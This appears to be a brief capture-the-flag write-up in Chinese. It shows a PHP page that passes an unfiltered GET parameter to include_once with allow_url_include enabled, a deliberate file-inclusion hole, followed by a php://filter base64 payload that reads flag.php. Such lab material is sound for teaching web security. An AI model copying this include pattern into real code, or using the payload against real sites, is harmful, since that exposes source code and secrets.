<?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
show_source(__FILE__);
echo 'flag 在flag.php中';
}else{
echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?>
代码如上,没有做任何的过滤。
考点是,绕过php文件被包裹会当做后端语言执行,需要通过伪协议base64加密的方式提取出来
payload为
?file=php://filter/convert.base64-encode/resource=flag.php